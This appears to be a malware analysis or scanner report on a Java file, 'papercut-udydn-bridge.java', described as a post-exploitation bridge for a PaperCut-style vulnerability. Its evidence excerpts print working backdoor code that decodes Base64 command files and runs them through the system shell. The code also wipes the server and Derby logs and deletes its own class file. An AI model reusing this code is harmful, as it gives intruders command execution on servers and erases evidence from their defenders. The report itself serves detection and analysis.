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papercut-udydn-bridge.java

Base64 tasking backdoor, log wiping, self-destruct

Command-tasking Java wipes application and database logsJava executes Base64 filesystem command tasks

SHA-256330fa7d9fda99c20ce22949c80a7883b3541d081db48058039553b6f06196b36

Evidence

Vulnerable or CVE state marker lines 9–13

34… between an exploited Java application
* server and the operating system (PaperCut-style CVE-2026-82078 payload).
*
* Decodes staged Base64 command files from data/content/, executes them
* OS-agnostically via ProcessBuilder, ca …

References the toString conversion method lines 26–32

61… ctoryStream(contentDir, "*")) {
              for (Path task : tasks) {
                  String name = task.getFileName().toString();
                  if (!name.endsWith(".cmd")) {
                      continue;
                  }
                 …

Java reads bytes from dot-cmd file lines 32–62

44… tring(0, name.length() - 4);
33
                  // staged tasking arrives Base64-encoded
                  byte[] encoded = Files.readAllBytes(Paths.get(dir, base + ".cmd"));
                  String decoded = new String(Base64.getDecoder().decode(encoded)).trim();
37
                  // OS-agnostic execution: Windows cmd or POSIX sh
                  String os = System.getProperty("os.name", "").toLowerCase();
                  String[] command;
                  if (os.contains("win")) {
                      command = new String[]{"cmd.exe", "/c", decoded};
                  } else {
                      command = new String[]{"/bin/sh", "-c", decoded};
                  }
46
                  Process proc = new ProcessBuilder(command).start();
                  byte[] output = proc.getInputStream().readAllBytes();
                  proc.waitFor();
50
                  // hand results back through a sibling .out file
                  Files.write(Paths.get(dir, base + ".out"), output);
53
                  // destroy the tasking and result artifacts
                  Files.delete(Paths.get(dir, base + ".cmd"));
                  Files.deleteIfExists(Paths.get(dir, base + ".out"));
              }
          }
⋯4 lines

Deletes own compiled class file lines 62–84

37… {
      }
  }
65
  private static void wipeLogs() {
      File logDir = new File("logs");
      File[] logs = logDir.listFiles();
      if (logs == null) {
          return;
      }
      for (File f : logs) {
          if (f.getName().equals("server.log") || f.getName().startsWith("server.log.")) {
              f.delete();
          }
      }
      new File("data/internal/derby.log").delete();
  }
79
  private static void selfDestruct() {
      // remove the dropped class from the application server's lib directory
      new File("lib/Udydn.class").delete();
  }
84}